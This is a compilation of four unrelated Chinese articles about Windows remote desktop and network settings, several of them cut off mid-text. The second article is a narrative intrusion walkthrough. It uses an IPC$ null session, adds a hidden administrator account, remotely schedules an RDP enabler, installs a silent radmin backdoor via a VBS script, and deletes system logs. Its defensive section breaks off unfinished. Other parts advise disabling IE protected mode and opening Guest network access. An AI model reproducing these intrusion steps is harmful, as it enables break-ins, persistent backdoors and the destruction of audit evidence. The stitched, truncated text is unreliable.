遠程桌面連接命令范文第1篇

關(guān)鍵詞：IPv6；遠程桌面；端口

中圖分類號：TP393文獻標識碼：A文章編號：1009-3044(2023)08-1747-02

IPv6是Internet Protocol Version 6的縮寫，是IETF設(shè)計用于替代現(xiàn)行版本IPv4協(xié)議的下一代IP協(xié)議。IPv4的網(wǎng)絡(luò)地址為32位，而IPv6的網(wǎng)絡(luò)地址為128位。

Windows操作系統(tǒng)下的遠程桌面是微軟公司為了方便網(wǎng)絡(luò)管理員管理維護服務器而推出的一項服務，通過遠程桌面協(xié)議RDP（Remote Desktop Protocol）實現(xiàn)。從Windows 2000 Server版本開始引入，網(wǎng)絡(luò)管理員使用遠程桌面連接程序連接到網(wǎng)絡(luò)任意一臺開啟了遠程桌面控制功能的計算機上，就好比自己操作該計算機一樣，運行程序，維護數(shù)據(jù)庫等。目前很多的管理員都是在Windows XP系統(tǒng)環(huán)境下使用遠程桌面。

當前遠程桌面被廣大系統(tǒng)管理員用于相關(guān)的遠程管理中，主要是在IPv4的網(wǎng)絡(luò)環(huán)境下使用。遠程桌面使用的默認端口是3389。

1 Windows下的遠程桌面

目前計算機用戶主要使用微軟操作系統(tǒng)有Windows XP和Windows 7，所以本文主要以這兩種系統(tǒng)為特例進行討論。在IPv4環(huán)境下，Windows操作系統(tǒng)使用遠程桌面非常的簡單，只需要被控端Windows操作系統(tǒng)開啟了遠程桌面功能和打開3389端口。而在IPv6環(huán)境下，由于Windows XP系統(tǒng)的遠程桌面連接程序不支持128的IPv6地址，所以在默認情況下不能正常使用遠程桌面功能。Windows 7操作系統(tǒng)的遠程桌面連接程序則可以支持IPv6地址。

雖然遠程桌面使用方便，但是需要滿足一定的網(wǎng)絡(luò)環(huán)境，如果被控端的計算機在網(wǎng)路防火墻或NAT的后臺，那么遠程桌面功能很難實現(xiàn)。原因是網(wǎng)絡(luò)防火墻一般會拒絕3389端口的服務，而NAT不會把內(nèi)網(wǎng)中被控計算機的IP地址映射到公網(wǎng)上。如果要滿足遠程桌面的需求，就需要網(wǎng)絡(luò)管理員進行特殊設(shè)置，但為了網(wǎng)絡(luò)安全，這種需求往往不能被允許。

由于目前支持IPv6的流控設(shè)備和防火墻監(jiān)控設(shè)備應用較少，如果計算機所連接的網(wǎng)絡(luò)支持IPv6，就可以不用擔心網(wǎng)絡(luò)防火墻對應用層的阻隔。遠程桌面可以通過IPv6來實現(xiàn)無障礙連接。

2 IPv6下遠程桌面的使用方法

IPv6在國內(nèi)已經(jīng)得到了廣泛的使用，很多單位或機構(gòu)直接接入了Cernet2網(wǎng)絡(luò)。而國內(nèi)的各大網(wǎng)絡(luò)運營商也加強了對IPv6的支持。網(wǎng)絡(luò)運營商通過隧道技術(shù)，普通居民使用寬帶撥號都可以實現(xiàn)IPv6的應用。而目前IPv6環(huán)境下，兩臺計算機如果都可以得到IPv6地址，就可以突破網(wǎng)絡(luò)防火墻和NAT的限制，實現(xiàn)應用層的服務。

查看Winsows操作系統(tǒng)IPv6地址的方法是在cmd命令窗口中輸入：netsh interface IPv6 show address，會顯示出計算機的IPv6地址,如圖1所示。

圖1 cmd窗口下查看IPv6地址

在Windows XP系統(tǒng)下如果顯示IPv6沒有安裝，則輸入netsh interface IPv6 install安裝IPv6協(xié)議即可。

2.1 Winsows 7遠程桌面連接程序?qū)�IPV6的連接方法

Windows 7操作系統(tǒng)的遠程桌面連接程序支持IPv6，所以打開遠程桌面連接程序后，直接在地址欄輸入被控端的IPv6地址，連接遠程計算機，即可實現(xiàn)遠程桌面的應用，如圖2所示：

圖2 Winsows 7遠程桌面連接IPv6地址

或者在cmd命令窗口下輸入：mstsc -v:2001:da9:9000:c010::134，其中2001:da9:9000:c010::134為遠程受控端計算機的IPv6地址。

2.2 Winsows XP遠程桌面連接程序?qū)�IPV6的連接方法

由于Windows XP的遠程桌面連接程序不支持IPv6，那么廣大的Windows XP用戶就不能再IPv6環(huán)境下直接使用遠程桌面了，或者用戶不得不把操作系統(tǒng)換成Windows 7。為了解決這個問題，可以采用端口的方法來實現(xiàn)Windows XP下遠程桌面應用對IPv6的支持。

2.2.1受控端計算機設(shè)置

在受控端IPv6下指定的3389遠程桌面連接轉(zhuǎn)發(fā)到本機IPv4上，命令為：netsh interface portproxy add v6tov4 3389 127.0.0.1 3389，可以使用netsh interface portproxy show all及netstat -ano | find "3389"命令查看相關(guān)信息。如圖3所示。

圖3 cmd窗口下受控端計算機的設(shè)置

2.2.2控制端計算機設(shè)置

控制端對本機指定端口的連接（IPv4下）轉(zhuǎn)發(fā)為對IPv6遠程桌面端口的連接（IPv6下）。例如使用命令：netsh interface portproxy add v4tov6 8888 2001:da9:9000:c010::134 3389。如圖4所示：

圖4 cmd窗口下控制端計算機的設(shè)置

其中8888為遠程桌面映射的端口，可以自己隨意設(shè)置，但設(shè)置的端口不能有沖突。2001:da9:9000:c010::134為遠程受控端計算機的IPv6地址。使用者可以根據(jù)自己的需要修改這兩個參數(shù)。最后打開遠程桌面連接程序，在地址欄輸入127.0.0.1:8888連接遠程計算機。這樣就實現(xiàn)了Windows XP遠程桌面對IPv6的支持，如圖5所示：

圖5

3總結(jié)

本文主要討論了Windows XP/7在IPv6環(huán)境下使用遠程桌面的方法，由于Windows XP遠程桌面連接程序設(shè)計的缺陷，不能支持IPv6的地址，文章提出采用端口的方法，在IPv6及IPv4間進行報文轉(zhuǎn)發(fā)，從而間接的實現(xiàn)了Windows XP遠程桌面在IPv6環(huán)境下的連接方法。

參考文獻：

[1]馮松.遠程桌面連接技術(shù)的應用[J].計算機與網(wǎng)絡(luò),2009,20.

遠程桌面連接命令范文第2篇

√ 黑客常見入侵方式

√ 如何避免空連接漏洞

√ 如何從日志發(fā)現(xiàn)木馬藏身地

小黑:一個水平中等的“黑客”，曾拜師于一名高手，所以水平有所長進，最近正想找一臺機器練手。

小白:剛剛上任不到三天的網(wǎng)管，進入網(wǎng)絡(luò)安全行業(yè)不久，安全水平和發(fā)現(xiàn)隱患的意識還需要提高。這次的攻擊事件其實并不是黑客水平有多高，而是由于網(wǎng)絡(luò)安全意識不足，一個N年前的老漏洞沒進行修補導致了服務器被攻擊。反思一下，上任的幾天里一直忙碌著升級、打補丁;但是忽略了服務器默認的一些系統(tǒng)漏洞和日志的保護，讓黑客鉆了空子。國內(nèi)很多網(wǎng)絡(luò)管理人員都容易出現(xiàn)這種錯誤。本文就是提醒各位網(wǎng)絡(luò)管理員，除了給系統(tǒng)打補丁外，還需要掌握基本的檢測技術(shù)和保護系統(tǒng)日志才能保證服務器的安全運行。

23:25 覓食――入侵檢測

晚上11點，某大蝦黑客的徒弟小黑打開“IPC$空連接掃描器”，想看看今天是否能中獎找到一臺不設(shè)防的服務器。時間慢慢的流逝，深夜中傳來一聲“YEAH！”，哈哈，居然真的還有這么原始漏洞的主機！小黑興奮地敲擊著鍵盤開始了入侵工作。

小提示:什么是IPC$空連接

IPC$(Internet Process Connection)是共享命名管道的資源，它是為了讓進程間通信而開放的命名管道，可以通過驗證用戶名和密碼獲得相應的權(quán)限，在遠程管理計算機和查看計算機的共享資源時使用。利用IPC$，連接者甚至可以與目標主機建立一個空的連接而無需用戶名與密碼(當然對方機器必須開了ipc$共享)，而利用這個空的連接，連接者還可以得到目標主機上的用戶列表，從而開始入侵主機。

23:30 掛上誘餌――建立IPC$空連接

小黑打開本地的cmd.exe命令行，輸入net use 202.99.10.*ipc$ "" /usE:""嘗試連接對方服務器，連接成功！輸入:net view 202.99.10.* 發(fā)現(xiàn)C$ D$ E$ admin$都默認開啟著，原來是臺新服務器啊！怪不得，小黑嘴里手上都不清閑。我要完全控制這臺服務器！

23:45垂釣――遠程控制

IPC$空連接這個漏洞不可能一直存在，先弄個遠程管理員好了――屏幕中的命令行下出現(xiàn)了一段命令:

net user xiaohei$ hacker /add

net localgroup administrators xiaohei /add

恩，這樣子就擁有了管理名為xiaohei$ 密碼為hacker的高級管理員了，以后就可以通過Windows自帶的“免殺控制器”:“遠程桌面連接”控制服務器了！ 來試驗一下，打開本地開始菜單所有程序附件通訊遠程桌面連接，在空白地方輸入控制服務器的IP地址:202.99.10.*。“是放個木馬上去呢還是添加一個FTP賬號呢？”小黑腦子中閃現(xiàn)著無數(shù)惡毒的后門。正在這時音響中“嘣”的一聲，錯誤提示:無法連接到遠程計算機（見圖1）！

圖1

居然未開啟遠程服務端口了，難不倒我！繼續(xù)在命令行下輸入: copy C:3389.exe 202.99.10.*admin$ ，將小黑本地的遠程登錄服務開啟上傳到202.99.10.*的服務器上。

net time 202.99.10.*，查看遠程服務器的系統(tǒng)時間為下面的入侵收集資料，現(xiàn)在時間是凌晨2:10分，at 202.99.10.* 02:18 3389.exe，利用at命令在遠程計算機的2:18分執(zhí)行3389.exe文件，開啟遠程控制(需要自動重新啟動計算機)。

小提示:遠程桌面為什么“免殺”？

遠程桌面本是微軟公司為了方便網(wǎng)管維護服務器而推出的一項服務，用來連接到開啟了遠程桌面控制功能的計算機，但是已經(jīng)被很多黑客用來控制電腦。由于是系統(tǒng)自帶服務，也不會受到殺毒軟件的查殺。

凌晨2:35上鉤――種植木馬

為了保險起見，還是再增加一個木馬后門程序控制，小黑陰險地笑著祭出了radmin影子版，由于此軟件屬于管理工具，一般殺毒軟件都不對其設(shè)防，所以修改后成了最安全的隱形后門。

小黑配制好木馬后寫了一段VBS代碼使木馬程序可以自動執(zhí)行:

set ws=wscript.createobject(“wscript.shell”)

ws.run “regedit.exe /s r_server.reg”，0

ws.run “regedit.exe /s qidong.reg”，0

ws.run “r_server.exe /install /silence”，0

ws.run “r_server.exe /start”，0

將木馬程序打包成muma.exe自解壓文檔，選擇運行后自動執(zhí)行VBS內(nèi)容，將木馬上傳到系統(tǒng)盤下，繼續(xù)利用:at 202.99.10.* 02:15 muma.exe

凌晨2:40收網(wǎng)――日志清理

對了，得意不能大意，要把操作日志清理了，防止管理員發(fā)現(xiàn)主機被動過手腳:

del C:winntsystem32logfiles*.*

del C:winntssytem32config*.evt

del C:winntsystem32dtclog*.*

del C:winntsystem32*.log

del C:winntsystem32*.txt

del C:winnt*.txt

del C:winnt*.log

哈哈，看你還如何逃出我的掌心��！在惡魔的笑聲中 202.99.10.*主機淪陷了。

凌晨3:30脫鉤――查詢服務

正在機房值班網(wǎng)管小白發(fā)現(xiàn)今天剛剛安裝的WEB服務器(網(wǎng)頁服務器)日志少了一段，“有可能被黑客入侵！”

“服務器剛剛安裝還沒進行安全設(shè)置就被強制運行了，沒想到這么快就有黑客來入侵，現(xiàn)在的網(wǎng)絡(luò)真是危險��！”小白嘆了口氣，日志沒了�？磥硪�手工檢測了。在命令行中輸入:net start ，察看啟動服務（見圖2）。居然Terminal Services遠程控制服務被開啟了，肯定被添加了管理用戶。

圖2

輸入: net user，察看本地所有用戶，只有administator、ASPNET、IUSR_TOPJHCN、IWAM_TOPJHCN 幾個正常用戶，再分別用:

net user administator

net user ASPNET

查看了用戶組，一切正常�？磥砗芸赡苁潜唤�立了隱藏的管理賬號了。可以用下面提供的批處理程序察看隱藏賬號，代碼如下:

@echo off

cd.>netuser.txt

for /f "skip=4 tokens=1-3" %%i in ('net user') do (

if not "%%i"=="命令成功完成。" net use %%i>>netuser.txt 2>nul

遠程桌面連接命令范文第3篇

究其原因，有一部分應該歸結(jié)為W i n d o w s 7系統(tǒng)的過度“智能化”，這些“智能化”操作有時不但沒有給用戶提高操作效率帶來幫助，而且還可能暴露用戶的操作隱私。所以，在一些特殊場合下，我們需要采取措施，不能讓Windows 7系統(tǒng)過度“智能化”!

不讓瀏覽窗口智能關(guān)閉

在使用Windows 7系統(tǒng)自帶瀏覽器上網(wǎng)訪問內(nèi)容時，有時一個網(wǎng)站的大部分內(nèi)容都已經(jīng)被顯示出來，此時，網(wǎng)頁中的任何一個微小錯誤出現(xiàn)，Windows 7系統(tǒng)就會自動關(guān)閉整個瀏覽窗口，導致以前傳輸顯示的內(nèi)容都會跟著關(guān)閉，顯然這種智能關(guān)閉窗口功能會降低上網(wǎng)瀏覽效率。為了不讓瀏覽窗口智能關(guān)閉，我們可以按照如下操作來設(shè)置Windows 7系統(tǒng)：

首先啟動運行W i n d o w s 7系統(tǒng)中的I E瀏覽器程序，依次單擊瀏覽窗口中的“工具”|“Internet選項”命令，彈出I n t e r n e t選項設(shè)置對話框，選擇其中的“安全”標簽，打開如圖1所示的標簽設(shè)置頁面，檢查這里的“啟用保護模式（要求重新啟動Internet E x p l o r e r）”選項是否處于選中狀態(tài)，一旦發(fā)現(xiàn)該選項已被選中時，必須及時將其取消選中，再單擊“確定”按鈕返回。

完成上述設(shè)置任務后，日后要是再碰到瀏覽窗口自動關(guān)閉情況時，不妨嘗試點擊Internet選項設(shè)置對話框中的“高級”選項卡，切換到高級選項設(shè)置頁面，單擊其中的“重置”按鈕，將I E瀏覽器的設(shè)置恢復到原始狀態(tài)，這樣問題多半就能被成功解決了。當然，要提醒各位的是，要是將瀏覽器的“啟用保護模式”關(guān)閉后，I E瀏覽器會彈出消息提示可能存在風險。

不讓網(wǎng)絡(luò)協(xié)議智能調(diào)諧

與低版本操作系統(tǒng)相比，Windows 7系統(tǒng)新增加了一項T C P/I P網(wǎng)絡(luò)協(xié)議自動調(diào)諧功能，這項功能會根據(jù)網(wǎng)絡(luò)環(huán)境的變化，對當前網(wǎng)絡(luò)連接進行自動優(yōu)化調(diào)整。不過這項智能化功能，在網(wǎng)絡(luò)傳輸或下載大塊頭的多媒體文件時，沒有多大實際意義，相反還容易造成文件傳輸速度十分緩慢，甚至不能穩(wěn)定傳輸文件的故障現(xiàn)象。所以，當我們在局域網(wǎng)中傳輸大容量文件時，不妨臨時關(guān)閉Windows 7系統(tǒng)的網(wǎng)絡(luò)調(diào)諧功能，讓其不要對T C P/I P協(xié)議自動進行調(diào)諧，下面就是具體的關(guān)閉操作步驟：

首先打開Windows 7系統(tǒng)的“開始”菜單，從中逐一點選“所有程序”|“附件”命令，選中下級菜單中的“命令提示符”選項，再用鼠標右鍵單擊之，從彈出的快捷菜單中點選“以管理員身份運行”命令，切換到MS-DOS命令行窗口。

其次在M S - D O S命令行窗口中，輸入“netsh int tcp set global autotuninglevel=disable”字符串命令，單擊回車鍵后，系統(tǒng)會彈出如圖2所示的確認信息，這樣網(wǎng)絡(luò)調(diào)諧功能就會被臨時停用掉了，這個時候再進行大容量文件的傳輸操作或下載操作，網(wǎng)絡(luò)連接的穩(wěn)定性就會好多了。

不讓網(wǎng)絡(luò)選擇智能提示

當安裝了Windows 7系統(tǒng)的筆記本每次移動到不同的位置辦公時，該系統(tǒng)自帶的網(wǎng)絡(luò)位置識別功能，總會智能彈出網(wǎng)絡(luò)選擇提示，要求系統(tǒng)在接入新的網(wǎng)絡(luò)后，選擇一個合適網(wǎng)絡(luò)位置，這樣Windows 7系統(tǒng)方便為對應網(wǎng)絡(luò)創(chuàng)建相關(guān)的配置文件，確保系統(tǒng)防火墻安全策略可以保護該網(wǎng)絡(luò)的訪問安全。不過，從實踐角度來看，Windows 7系統(tǒng)的網(wǎng)絡(luò)選擇智能提示功能并沒有多大實際作用，有時這項功能反而會影響上網(wǎng)訪問效率。如果不想讓網(wǎng)絡(luò)選擇智能提示，不妨進行下面的操作將該功能臨時關(guān)閉：

首先逐一點擊Windows 7系統(tǒng)“開始”菜單中的“所有程序”|“附件”|“運行”命令，切換到系統(tǒng)運行文本框，執(zhí)行“gpedit.msc”命令，彈出系統(tǒng)組策略控制臺窗口。

其次在該窗口左側(cè)顯示窗格中，依次選擇“計算機配置”|“Windows設(shè)置”|“安全設(shè)置”、“網(wǎng)絡(luò)列表管理器策略”目錄，用鼠標右擊該目錄下的“無法識別的網(wǎng)絡(luò)”選項，執(zhí)行右鍵菜單中的“屬性”命令，打開對應組策略的選項設(shè)置框，檢查用戶權(quán)限設(shè)置是否正確，同時選中“用戶可以更改位置”，并且將“位置類型”設(shè)置為平時經(jīng)常用的“公用網(wǎng)絡(luò)”位置，最后按“確定”按鈕返回。

接著在系統(tǒng)運行文本框中再執(zhí)行“r e g e d i t”命令，彈出系統(tǒng)注冊表控制臺窗口，依次展開H K E Y_L O C A L_ M A C H I N ES Y S T E M C u r r e n t C o n t r o l S e t C o n t r o l N e t w o r k NetworkLocationWizard注冊表目錄，看看指定目錄下有沒有“H i d e W i z a r d”雙字節(jié)鍵值，要是找不到該鍵值時，直接右擊“NetworkLocationWizard”目錄，依次執(zhí)行右鍵菜單中的“新建”|“D w o r d值”命令，手工創(chuàng)建好雙字節(jié)鍵值“HideWizard”，再用鼠標雙擊該鍵值，打開如圖3所示的編輯數(shù)值對話框，在其中輸入數(shù)字“1”，并單擊“確定”按鈕保存設(shè)置，最后重新啟動計算機系統(tǒng)即可。

不讓IPv6協(xié)議智能連接

在Windows 7系統(tǒng)中利用寬帶撥號方式建立上網(wǎng)連接時，用戶或許會覺察到系統(tǒng)自帶寬帶撥號程序在建立上網(wǎng)連接時，速度沒有低版本系統(tǒng)快，不過一旦寬帶連接成功建立后，上網(wǎng)速度卻與正常一樣，這是怎么回事呢？出現(xiàn)這種不正常現(xiàn)象，主要是Windows 7系統(tǒng)自帶撥號程序在進行寬帶撥號操作時，會智能優(yōu)先選用TCP/IPv6協(xié)議創(chuàng)建上網(wǎng)連接，等到TCP/IPv6協(xié)議連接失敗后，才會嘗試利用TCP/IPv4協(xié)議再次建立上網(wǎng)連接，很明顯Windows 7系統(tǒng)的這種智能化操作會降低寬帶撥號上網(wǎng)效率。為了不讓TCP/IPv6協(xié)議智能連接，我們可以按照如下操作設(shè)置Windows 7系統(tǒng)的上網(wǎng)參數(shù)：

首先用鼠標右鍵單擊Windows 7系統(tǒng)托盤區(qū)域處的上網(wǎng)連接圖標，執(zhí)行右鍵菜單中的“網(wǎng)絡(luò)和共享中心”圖標，展開網(wǎng)絡(luò)和共享中心管理界面，單擊該界面左側(cè)任務欄中的“更改適配器設(shè)置”按鈕，切換到對應系統(tǒng)的網(wǎng)絡(luò)連接列表界面。

其次用鼠標右鍵單擊寬帶撥號上網(wǎng)連接圖標，執(zhí)行右鍵菜單中的“屬性”命令，彈出寬帶撥號連接屬性對話框，選擇“網(wǎng)絡(luò)”標簽，在對應標簽頁面中（如圖4所示），檢查“Internet協(xié)議版本6（TCP/ IPv6）”選項是否已被選中，要是發(fā)現(xiàn)其已被選中時，只要將該選項取消選中，再按“確定”按鈕返回即可。

不讓搜索功能太過智能

Windows 7系統(tǒng)的搜索功能比以往有了很多的進步，它的工作原理不但與以前完全不一樣，而且搜索智能化程度也有了大幅提升。然而，搜索框直接顯示在“開始”菜單中，用戶不經(jīng)意間輸入的一些字符，可能會將很重要的隱私信息搜索出來。為了保護自己的隱私，我們可以設(shè)置Windows 7系統(tǒng)的搜索功能，讓其不要太過智能，去自動搜索自己的隱私信息，下面就是具體的設(shè)置步驟：

首先要將隱私信息從索引列表中排除出來。由于Windows 7系統(tǒng)缺省會自動搜索索引文件，出現(xiàn)在索引列表中的隱私信息自然容易被自動搜索顯示出來。為此，我們可以打開Windows 7系統(tǒng)的“開始”菜單，在其中的搜索框中輸入“索引選項”，按回車鍵之后，打開索引選項設(shè)置界面；倘若看到系統(tǒng)還沒有創(chuàng)建索引列表時，那就不要進行設(shè)置，要是看到隱私內(nèi)容已經(jīng)出現(xiàn)在索引列表中時，不妨單擊“修改”按鈕，切換到索引位置列表框，取消隱私文件夾的選中狀態(tài)，再按“確定”按鈕返回。

其次要將隱私信息隱藏起來，因為搜索功能不會智能搜索顯示隱藏屬性的文件。在進行這種操作時，可以先打開系統(tǒng)資源管理器窗口，從中找到隱私文件夾，并用鼠標右擊該文件夾，執(zhí)行快捷菜單中的“屬性”命令，將“隱藏”選項選中，再按“確定”按鈕即可。日后，自己想訪問隱私信息時，可以依次單擊系統(tǒng)資源管理器窗口中的“組織”|“文件夾和搜索選項”命令，打開文件夾和搜索選項設(shè)置框，點擊其中的“查看”標簽，彈出如圖5所示的選項設(shè)置頁面，選中“顯示隱藏的文件、文件夾和驅(qū)動器”選項，單擊“確定”按鈕即可。

此外，Windows 7系統(tǒng)的搜索功能還會智能顯示最近輸入的搜索關(guān)鍵字，這種功能也會暴露自己的搜索隱私。為此，我們可以依次單擊“開始”|“運行”命令，在系統(tǒng)運行對話框中，輸入“gpedit. m s c”命令，單擊回車鍵后，切換到系統(tǒng)組策略編輯界面，將鼠標定位到該編輯界面左側(cè)區(qū)域中的“用戶設(shè)置”|“管理模板”|“W i n d o w s組件”|“W i n d o w s資源管理器”分支上，雙擊該分支下的“關(guān)閉顯示最近輸入的搜索”選項，在其后彈出的選項設(shè)置框中，選中“已啟用”選項，再按“確定”按鈕保存設(shè)置，這樣Windows 7系統(tǒng)的搜索功能日后就不會智能顯示最近輸入的搜索關(guān)鍵字了。

不讓網(wǎng)絡(luò)下載智能掉線

很多用戶反映，在Windows 7系統(tǒng)中通過專業(yè)下載工具進行無人值守式的信息下載操作時，每次將系統(tǒng)切換到休眠模式狀態(tài)，網(wǎng)絡(luò)下載連接總會智能掉線。在排除上網(wǎng)連接線路、上網(wǎng)配置參數(shù)等因素后，這種現(xiàn)象很可能是Windows 7系統(tǒng)的網(wǎng)卡設(shè)備啟用了節(jié)電模式，這個時候可以按照如下步驟，臨時關(guān)閉網(wǎng)卡設(shè)備的電源節(jié)約管理模式：

首先逐一單擊Windows 7系統(tǒng)的“開始”|“控制面板”選項，點選系統(tǒng)控制面板窗口中的“網(wǎng)絡(luò)和Internet”圖標，雙擊其后界面中的“網(wǎng)絡(luò)和共享中心”選項，打開網(wǎng)絡(luò)和共享中心管理頁面，按下左側(cè)區(qū)域的“更改適配設(shè)置”按鈕，切換到系統(tǒng)網(wǎng)絡(luò)連接列表界面。

其次用鼠標右鍵單擊“本地連接”圖標，從彈出的右鍵菜單中選擇“屬性”命令，打開目標本地連接的屬性設(shè)置框；按下“配置”按鈕，進入對應網(wǎng)卡設(shè)備的屬性設(shè)置界面，選擇“電源管理”標簽，展開如圖6所示的標簽設(shè)置頁面，看看這里的“允許計算機關(guān)閉此設(shè)備以節(jié)約電源”選項有沒有被選中，要是看到它已處于選中狀態(tài)時，那就說明此時此刻網(wǎng)卡設(shè)備的電源管理功能已經(jīng)啟用，此時可以將對應該選項前面的勾號取消掉，這樣就能不讓網(wǎng)絡(luò)下載智能掉線了。

不讓系統(tǒng)登錄智能監(jiān)控

在幾個用戶共同使用相同計算機的場合下，Windows 7系統(tǒng)默認狀態(tài)會智能地將用戶上一次的詳細登錄信息監(jiān)控并顯示出來，很顯然這項智能功能會暴露用戶的登錄痕跡，不利于保護用戶的登錄安全。有鑒于此，我們可以按照如下設(shè)置，不讓Windows 7系統(tǒng)對用戶的登錄信息進行智能監(jiān)控：

首先逐一點擊Windows 7系統(tǒng)“開始”菜單中的“所有程序”|“附件”|“運行”命令，切換到系統(tǒng)運行文本框，執(zhí)行“g p e d i t.m s c”命令，彈出系統(tǒng)組策略控制臺窗口，在該窗口的左側(cè)列表中，依次展開“計算機配置”|“Windows設(shè)置”|“安全設(shè)置”|“本地策略”|“安全選項”分支，用鼠標雙擊該分支下的“交互式登錄: 不顯示最后的用戶名”選項，打開如圖7所示的選項設(shè)置對話框，將“已啟用”選項選中，再單擊“確定”按鈕返回。

其次依次展開“計算機配置”|“管理模板”|“W i n d o w s組件”|“Windows登錄選項”分支，雙擊該分支下的“在用戶登錄期間顯示有關(guān)以前登錄的信息”選項，選中其后界面中的“已禁用”選項，再單擊“確定”按鈕執(zhí)行設(shè)置保存操作，這樣一來Windows 7系統(tǒng)日后就不會對用戶登錄系統(tǒng)信息進行智能監(jiān)控了。

不讓網(wǎng)絡(luò)連接智能切換

在同一個上網(wǎng)位置，有時會有很多信號質(zhì)量不一的無線網(wǎng)絡(luò)。在這種環(huán)境下，筆記本電腦上網(wǎng)訪問時，遇到信號質(zhì)量更好的無線網(wǎng)絡(luò)時，它就可能會智能與其建立連接，從而造成上網(wǎng)不穩(wěn)定的現(xiàn)象，那么怎樣才能不讓網(wǎng)絡(luò)連接智能切換呢？很簡單，只要按照如下操作設(shè)置Windows 7系統(tǒng)的無線網(wǎng)絡(luò)連接，讓其不智能切換：

首先逐一單擊Windows 7系統(tǒng)的“開始”|“控制面板”選項，點選系統(tǒng)控制面板窗口中的“網(wǎng)絡(luò)和Internet”圖標，雙擊其后界面中的“網(wǎng)絡(luò)和共享中心”選項，打開網(wǎng)絡(luò)和共享中心管理頁面，按下左側(cè)區(qū)域中的“管理無線網(wǎng)絡(luò)”按鈕，如圖8所示，展開無線網(wǎng)絡(luò)連接列表界面，右擊正在使用的無線連接，從彈出的右鍵菜單中選擇“屬性”命令。當然，如果無線網(wǎng)絡(luò)連接列表界面中沒有任何連接時，不妨按下“添加”按鈕，手工添加一個無線上網(wǎng)連接。

接著檢查無線網(wǎng)絡(luò)連接屬性框中的“連接到更適合的網(wǎng)絡(luò)”、“當此網(wǎng)絡(luò)在范圍時自動連接”等選項是否處于選中狀態(tài)，要是發(fā)現(xiàn)它們已被選中時，必須及時將它們的選中狀態(tài)取消，再按“確定”按鈕返回，這樣一來，日后Windows 7系統(tǒng)即使發(fā)現(xiàn)其周圍存在信號質(zhì)量更好的無線網(wǎng)絡(luò)，也不會智能與其建立連接。

不讓遠程桌面智能驗證

當安裝有低版本操作系統(tǒng)的客戶機，通過遠程桌面程序訪問Windows 7系統(tǒng)時，Windows 7系統(tǒng)總會對其進行智能網(wǎng)絡(luò)身份驗證，這時，低版本客戶端系統(tǒng)無論輸入什么登錄賬號，都不能確保遠程桌面登錄操作成功。如果想讓類似Windows XP這樣的操作系統(tǒng)能夠順利與Windows 7系統(tǒng)建立遠程桌面連接時，可以按照如下設(shè)置操作，不讓Windows 7系統(tǒng)對低版本系統(tǒng)的遠程桌面連接進行智能驗證：

遠程桌面連接命令范文第4篇

1　提高共享訪問效率 　無論是訪問局域網(wǎng)中的共享文件夾，還是訪問網(wǎng)絡(luò)打印機，我們時常會遇到這樣的麻煩，每次進行共享訪問操作時，都要訪問一次共享資源所在的主機系統(tǒng)，每次訪問目標主機系統(tǒng)時都要輸入一次共享訪問賬號與密碼。顯然這對網(wǎng)絡(luò)訪問操作不太熟悉的朋友來說是一件非常麻煩的事情。這將嚴重影響他們的共享訪問效率。

出現(xiàn)這種麻煩的主要原因，就是Windows系統(tǒng)考慮到安全方面的因素，在默認狀態(tài)下關(guān)閉了Guest賬號的啟動運行狀態(tài)，這樣一來Windows系統(tǒng)無法直接以Guest賬號完成共享資源的訪問，此時每進行一次共享訪問操作時系統(tǒng)屏幕就會自動彈出一次密碼輸入對話框的現(xiàn)象。

事實上，在一些只包含兩三臺工作站的小型內(nèi)網(wǎng)環(huán)境中，巧妙地激活Guest賬號，可以讓共享文件夾或網(wǎng)絡(luò)打印機的訪問，不需要輸入共享賬號名稱與密碼，就能直接實現(xiàn)訪問目的，從而可以大幅度地提高共享訪問效率。要讓Windows系統(tǒng)自動以Guest賬號完成共享訪問登錄操作，我們可以按照如下步驟設(shè)置Windows系統(tǒng)：

首先啟用Guest賬號。由于在默認狀態(tài)下，Guest賬號已經(jīng)被關(guān)閉運行，我們必須先將該系統(tǒng)賬號啟用起來i在啟用運行該賬號時，依次單擊“開始”、“設(shè)置”、“控制面板”命令，在彈出的系統(tǒng)控制面板窗口中，用鼠標雙擊其中的“用戶賬戶”圖標，在其后出現(xiàn)的窗口中再逐一點擊“用戶賬戶”、“管理其他賬戶”選項；從“選擇希望更改的賬戶”列表中選中沒有啟用的Guest賬號，再用鼠標雙擊該賬戶圖標，打開設(shè)置窗口，單擊“開”按鈕，那樣一來對應系統(tǒng)中的Guest賬號就能被啟動運行成功了。

其次允許網(wǎng)絡(luò)訪問。為了保證本地工作站的運行安全，Windows系統(tǒng)在默認狀態(tài)下是禁止Guest賬號通過網(wǎng)絡(luò)訪問自己的，為此我們還需要在共享資源所在的主機系統(tǒng)，設(shè)置一下相關(guān)參數(shù)。讓其允許Guest賬號通過網(wǎng)絡(luò)來進行共享訪問；在進行這種設(shè)置操作時，我們可以依次單擊“開始”、“運行”命令，在彈出的系統(tǒng)運行對話框中，輸入組策略編輯命令“gpedit.mec”，單擊回車鍵后，進入對應主機系統(tǒng)的組策略控制臺窗口；在該控制臺窗口的左側(cè)顯示區(qū)域中，依次點選“計算機設(shè)置”、“Windows設(shè)置”、“安全設(shè)置”、“本地策略”、“用戶權(quán)限分配”分支選項，在目標分支選項下面用鼠標右鍵單擊“從網(wǎng)絡(luò)訪問此計算機”組策略項目，并執(zhí)行右鍵菜單中的“屬性”命令，打開設(shè)置對話框。

單擊該對話框中的“添加用戶或組”按鈕，打開用戶選擇對話框，從中選中Guest賬號并單擊“確定”按鈕，這么一來，目標共享資源所在的主機系統(tǒng)日后就能允許Guest賬號通過網(wǎng)絡(luò)直接訪問本地系統(tǒng)中的共享文件夾或網(wǎng)絡(luò)打印機了。

